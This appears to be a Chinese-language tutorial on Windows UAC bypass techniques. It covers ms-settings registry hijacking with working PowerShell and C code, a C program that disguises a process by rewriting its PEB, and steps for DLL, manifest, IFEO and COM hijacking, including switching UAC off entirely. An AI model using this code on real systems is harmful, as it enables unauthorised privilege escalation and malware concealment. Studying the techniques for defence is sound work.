    关于 Shell\Open\command 键值对,以它命名的键值对存储的是可执行文件的路径,如果 exe 程序运行的时候找到该键值对,就会运行该键值对指向的程序,因为白名单中的 exe 运行的时候是默认提升了权限,那么该键值对指向的程序就过了 UAC,如果把恶意的 exe 写入该键值对,那么当运行白名单中 exe 的时候,就能过 UAC 执行恶意程序。
    用 process monitor 设置一下过滤器规则,就可以看到 ComputerDefaults.exe 会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的值
    image-20220327175022574
    创建一个 HKCU\Software\Classes\ms-settings\Shell\Open\command,再对 omputerDefaults.exe 进行监听,发现还会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute(NAME NOT FOUND),
    image-20220327175622190
    此时创建一个 DelegateExecute,并将 command 指向我们指定的程序,比如改成 cmd.exe ,此时再运行 C:\Windows\System32\ComputerDefaults.exe,就会弹出一个 system 权限的 cmd 了。
    powershell 的实现:
    <#
    .SYNOPSIS
    Fileless UAC Bypass by Abusing Shell API
    
    Author: Hashim Jawad of ACTIVELabs
    
    .PARAMETER Command
    Specifies the command you would like to run in high integrity context.
    
    .EXAMPLE
    Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
    
    This will effectivly start cmd.exe in high integrity context.
    
    .NOTES
    This UAC bypass has been tested on the following:
     - Windows 10 Version 1803 OS Build 17134.590
     - Windows 10 Version 1809 OS Build 17763.316
    #>
    
    function Invoke-WSResetBypass {
          Param (
          [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
          )
    
          $CommandPath = "HKCU:Software\Classes\ms-settings\Shell\Open\command"
          $filePath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
          New-Item $CommandPath -Force | Out-Null
          New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
          Write-Host "[+] Registry entry has been created successfully!"
    
          $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
          Write-Host "[+] Starting WSReset.exe"
    
          Write-Host "[+] Triggering payload.."
          Start-Sleep -Seconds 10
    
          if (Test-Path $filePath) {
          Remove-Item $filePath -Recurse -Force
          Write-Host "[+] Cleaning up registry entry"
          }
    }
    IEX Invoke-WSResetBypass;
    

    运行 POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\Alice\Desktop\BypassUAC.ps1,成功执行了 WSReset.exe
    image-20220327200047173
    c 语言实现
    #include <stdio.h>
    #include <Windows.h>
    
    int main(void)
    {
        LPCWSTR regname = L"Software\\Classes\\ms-settings\\Shell\\Open\\command";
        HKEY hkResult = NULL;
    
        const wchar_t* payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
        DWORD Len = wcslen(payload) * 2 + 2;
    
        int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);
    
        ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
        if (ret == 0) {
            printf("success to write run key\n");
            RegCloseKey(hkResult);
        }
        else {
            printf("failed to open regedit.%d\n", ret);
            return 0;
        }
        printf("Starting WSReset.exe");
        system("C://Windows//System32//WSReset.exe");
        return 0;
    }
    
  • 伪装白名单


    直接将恶意程序伪装成白名单中的程序,方法就是伪装进程的 PEB。
    PEB 结构(Process Envirorment Block Structure),进程环境信息块,通过修改目标进程的 PEB 结构中的路径信息和命令行信息为想要伪装的对象的信息,就可以将目标进程伪装成目标进程。
    

    要实现改过程,首先用 NtQueryInformationProcess 函数获取指定进程的 PEB 地址,结构如下:
    typedef struct _PROCESS_BASIC_INFORMATION {
        PVOID Reserved1;
        PPEB PebBaseAddress; //peb的基地址,实际上是一个 _PEB 结构体的指针
        PVOID Reserved2[2];
        ULONG_PTR UniqueProcessId;
        PVOID Reserved3;
    } PROCESS_BASIC_INFORMATION;
    

    _PEB:
    typedef struct _PEB {
      BYTE                          Reserved1[2];
      BYTE                          BeingDebugged; //被调试状态 
      BYTE                          Reserved2[1];
      PVOID                         Reserved3[2];
      PPEB_LDR_DATA                 Ldr;
      PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 进程参数信息
      BYTE                          Reserved4[104];
      PVOID                         Reserved5[52];
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
      BYTE                          Reserved6[128];
      PVOID                         Reserved7[1];
      ULONG                         SessionId;
    } PEB, *PPEB;
    

    其中 PRTL_USER_PROCESS_PARAMETERS 的结构:
    typedef struct _RTL_USER_PROCESS_PARAMETERS {
        BYTE Reserved1[16];
        PVOID Reserved2[10];
        UNICODE_STRING ImagePathName;
        UNICODE_STRING CommandLine;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    

    重点关注 ImagePathName 和 CommandLine,也就是 UNICODE_STRING 结构体
    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR  Buffer;
    } UNICODE_STRING;
    

    要用到的几个函数:
    BOOL ReadProcessMemory(
      _In_ HANDLE  hProcess, // 进程句柄
      _In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
      _Out_ LPVOID  lpBuffer, // 接收缓存
      _In_ SIZE_T  nSize, // 读取大小
      _Out_opt_ SIZE_T  *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
    );
    BOOL WriteProcessMemory(
      _In_ HANDLE  hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
      _In_ LPVOID  lpBaseAddress, // 写入内存首地址
      _Out_ LPCVOID lpBuffer, // 指向欲写入的数据
      _In_ SIZE_T  nSize, // 写入大小
      _Out_opt_ SIZE_T  *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
    );
    

    现在我们已经学会 1+1,接着就可以开始造火箭了
    #include <stdio.h>
    #include <Windows.h>
    #include <winternl.h> //PEB Structures, NtQueryInformationProcess
    #include <TlHelp32.h>
    
    //prepare for call NtQueryInformationProcess func
    typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
        IN HANDLE ProcessHandle,
        IN PROCESSINFOCLASS ProcessInformationClass,
        OUT PVOID ProcessInformation,
        IN ULONG ProcessInformationLength,
        OUT PULONG ReturnLength OPTIONAL
        );
    
    // modify ImagePathName and CommandLine in PEB of specific process
    BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
    
        // get handle of process
        /*
        OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
        */
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess == NULL) {
            printf("Open Process error!");
            return FALSE;
        }
    
        // prepare for getting PEB
        typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
        PROCESS_BASIC_INFORMATION pbi = { 0 };
        PEB peb = { 0 };
        RTL_USER_PROCESS_PARAMETERS Param = { 0 };
        USHORT usCmdLen = 0;
        USHORT usPathLen = 0;
        const WCHAR* NTDLL = L"ntdll.dll";
    
        //NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
        NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
        if (NULL == NtQueryInformationProcess)
        {
            printf("GetProcAddress Error");
            return FALSE;
        }
    
        // get status of specific process
        NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
        if (!NT_SUCCESS(status))
        {
            printf("NtQueryInformationProcess failed");
            return FALSE;
        }
    
        // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
        ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
        // get ProcessParameters in PEB of process
        ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    
        // modify cmdline data
        usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
        WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
        WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
        // modify path data
        usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
        WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
        WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
    
        return TRUE;
    }
    
    // get PID by ProcessName
    DWORD FindProcId(const WCHAR* ProcName) {
        DWORD ProcId = 0; // target procId
        PROCESSENTRY32 pe32 = { 0 };  // to get snapshot structure
        pe32.dwSize = sizeof(PROCESSENTRY32);
        HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
        if (hProcessShot == INVALID_HANDLE_VALUE) {
            puts("get proc list error");
            return 0;
        }
        BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
        // compare proc name and get correct process Id
        while (cProc) {
            if (wcscmp(pe32.szExeFile, ProcName) == 0) {
                ProcId = pe32.th32ProcessID;
                break;
            }
            cProc = Process32Next(hProcessShot, &pe32);
        }
        return ProcId;
    }
    
    int main()
    {
        const WCHAR* ProcessName = L"Calculator.exe";
        do {
            DWORD dwTargetId = FindProcId(ProcessName);
            if (0 == dwTargetId) {
                printf("can not find procIdn");
                break;
            }
            if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
            {
                printf("Dsisguise Process Error.");
                break;
            }
            printf("Disguise Process OK.");
        } while (FALSE);
    
        system("pause");
        return 0;
    }
    

    执行前先开一个 calc,程序运行后,会将 Calculator.exe 的 cmdline 和 imagepath 修改为指定进程的。
  • DLL 劫持


    DLL加载顺序劫持

    原理见 dll 劫持那一篇。在 C:\Windows\System32 中易受到劫持的有
    image-20220331164906741
    详细的在 https://github.com/wietze/windows-dll-hijacking/
    使用 manifest 文件进行 dll 劫持

    manifest 文件是微软为修复一次由 DLL 加载顺序劫持导致的 Bypass UAC 时自己暴露出来的一种 Bypass UAC 的可行方案。
    在 XP 之前的 windows,exe 会顺序加载 dll,但在 XP 之后,则会首先读取mamifest,获得 exe 需要调用的 dll 列表,操作系统再根据 manifest 提供的信息去寻找对应的 dll。
    Bypass UAC 过程:
    1.先从 C:\windows\system32 中拷贝 taskhost.exe 到 %temp%\ 临时目录下,再利用高权限进程把 taskhost.exe 拷贝到 C:\windows 下
    2.在C:\windows\system32\sysprep下写一个cryptbase.dll,并将payload注入到cryptbase.dll中
    3.在C:\windows下写入taskhost.exe.manifest文件.由于taskhost.exe无内置清单文件,所以会从manifest中指定的路径加载DLL即C:\Windows\system32\sysprep\cryptbase.DLL
    

    但很尴尬的问题是低权限怎样向系统目录写文件而不触发 UAC,在 UACME 项目中通过 IFileOperation COM 对象实现。IFileOperation COM 对象进行文件操作可以自动特省权限(AutoElevate),但需要检测当前使用该 COM 对象的进程是否位白名单进程。
    通过代码注入绕过 UAC

    具体原理见 DLL 注入学习记录
    关闭 UAC 机制

    利用一个 ISecurityEditor COM 对象, 也是一个 AutoElevate 的 COM 对象,在白名单进程中使用可以自动提升权限。
    这个对象可以用于修改注册表访问权限,可修改 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 进程为可写,然后将 EnableLUA 置为 0,即可关闭 UAC(重启生效)
    使用注册表制定程序加载DLL

    同样使用 ISecurityEditor COM 对象,在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 表项后添加 cliconfg.exe,在子项中添加
    GlobalFlag REG_DWORD 0x0000100   
    VerifierDlls REG_SZ Hibiki.dll
    

    其中 Hibiki.dll 是恶意 dll,放在 C:\Windows\system32 下,然后运行 cliconfg.exe 就能以管理员权限运行 Hiibiki.dll,绕过 UAC。
    以上的技术本质上都是 dll 劫持的利用。
  • 利用 COM 接口


    com 组件本质上是二进制文件 ( dll,exe, 在 windows 系统内 ),其调用方法与 c++ 的类相似,程序可以通过被称为 CLSID ( 全局标识符 )作为索引在注册表内找到具体的二进制文件。
    windows 提供了一种 com 组件提权的方法,为方便开发,当这种提权方法的调用者是拥有微软签名的合法程序时(白名单),会忽略 UAC 弹窗(这个过程通过校验 PEB 实现)。
    除了前面提到过的 com 组件,还有一个名为 ICMLuaUtil 的接口,这个接口提供一个名为 ShellExec 的方法,可以执行任意传入的命令。
    劫持 COM 组件

    和 dll 劫持类似,程序运行时也会加载指定的 CLSID 的 COM 组件,其加载顺序如下
    HKCU\Software\Classes\CLSID
    HKCR\CLSID
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
    

    CLSID 下有两个键名:InprocHandler32 和 InprocServer32:
    InprocHandler32:指定应用程序使用的自定义处理程序
    InprocServer32:注册32位进程所需要的模块、线程属性配置
    

    那么可以通过在 COM 组件注册表下创建 InprocServer32 键值并将其指向恶意 dll 来实现 COM 组件劫持。
    UACME 中的实现流程:
    1.将payload DLL先复制到temp下
    2.在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下创建InprocServer32并将值指向刚刚解压出来的dll文件,ThreadingModel的值为Apartment
    3.创建ShellFolder,把HideOnDesktopPerUser值改为空,把Attributes值改为0xF090013D,这是”combination of SFGAO flags”
    4.用mmc.exe运行eventvwr.msc,即可完成劫持
    5.清理注册表
    

     
  • 参考文献